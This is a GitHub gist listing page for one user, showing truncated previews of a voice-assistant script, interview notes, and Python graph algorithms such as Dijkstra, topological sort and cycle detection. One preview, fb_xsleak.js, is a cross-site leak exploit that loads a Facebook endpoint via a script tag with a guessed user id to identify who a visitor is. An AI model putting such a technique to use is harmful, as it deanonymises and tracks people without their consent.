Skip to content

Instantly share code, notes, and snippets.

@nhudinhtuan
nhudinhtuan / mysiri.js
Last active June 16, 2021 15:34
My personal assistant
// UI comp
const startBtn = document.createElement("button");
startBtn.innerHTML = "Start listening";
const result = document.createElement("div");
const processing = document.createElement("p");
document.write("<body><h1>My Siri</h1><p>Give it a try with 'hello', 'how are you', 'what's your name', 'what time is it', 'stop', ... </p></body>");
document.body.append(startBtn);
document.body.append(result);
document.body.append(processing);
@nhudinhtuan
nhudinhtuan / fb_xsleak.js
Created May 17, 2020 02:41
Verify userid using script tag with exploit FB endpoitn
/*
* The source code is copied from https://www.tomanthony.co.uk
*/
function runcheck(userid)
{
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { show_result(userid, false); };
@nhudinhtuan
nhudinhtuan / cheat_sheet.md
Last active August 8, 2024 21:59
15 days cheat sheet for interviews
@nhudinhtuan
nhudinhtuan / coding_interview_questions.md
Last active April 12, 2020 12:09
coding interview questions
@nhudinhtuan
nhudinhtuan / dijkstra.py
Created April 7, 2020 03:57
Dijkstra algorithm
import heapq
# graph is represented by adjacency list: List[List[pair]]
# s is the source vertex
def dijkstra(graph, s):
# set is used to mark finalized vertices
visited = set()
# an array to keep the distance from s to this vertex.
# initialize all distances as infinite, except s
dist = [float('inf')] * len(graph)
dist[s] = 0
@nhudinhtuan
nhudinhtuan / find_shortest_path_unweight.py
Created April 6, 2020 13:53
Find the shortest path in an unweighted graph
from collections import deque
# graph is represented by adjacency list: List[List[int]]
# s: start vertex
# d: destination vertex
# based on BFS
def find_shortest_path(graph, s, d):
# pred[i] stores predecessor of i in the path
pred = [-1] * len(graph)
# set is used to mark visited vertices
visited = set()
@nhudinhtuan
nhudinhtuan / topological_sort.py
Created April 6, 2020 12:35
Topological sort
# graph is represented by adjacency list: List[List[int]]
# using DFS to find the topological sorting
def topological_sort(graph):
# using a stack to keep topological sorting
stack = []
# set is used to mark visited vertices
visited = set()
def recur(current_vertex):
@nhudinhtuan
nhudinhtuan / orange_rotting.py
Created April 6, 2020 02:40
Oranges Rotting
from collections import deque
class Solution(object):
def orangesRotting(self, grid):
"""
:type grid: List[List[int]]
:rtype: int
"""
# corner cases
@nhudinhtuan
nhudinhtuan / is_cyclic_undirected_graph.py
Created April 6, 2020 02:24
Detect cycle in undirected graph
# graph is represented by adjacency list: List[List[int]]
# DFS to detect cyclic
def is_cyclic_undirected_graph(graph):
# set is used to mark visited vertices
visited = set()
def is_cyclic_recur(current_vertex, parent):
# mark it visited
visited.add(current_vertex)
@nhudinhtuan
nhudinhtuan / is_cyclic_directed_graph.py
Created April 6, 2020 02:19
Detect cycle in directed graph
# graph is represented by adjacency list: List[List[int]]
# DFS to detect cyclic
def is_cyclic_directed_graph(graph):
# set is used to mark visited vertices
visited = set()
# set is used to keep track the ancestor vertices in recursive stack.
ancestors = set()
def is_cyclic_recur(current_vertex):
# mark it visited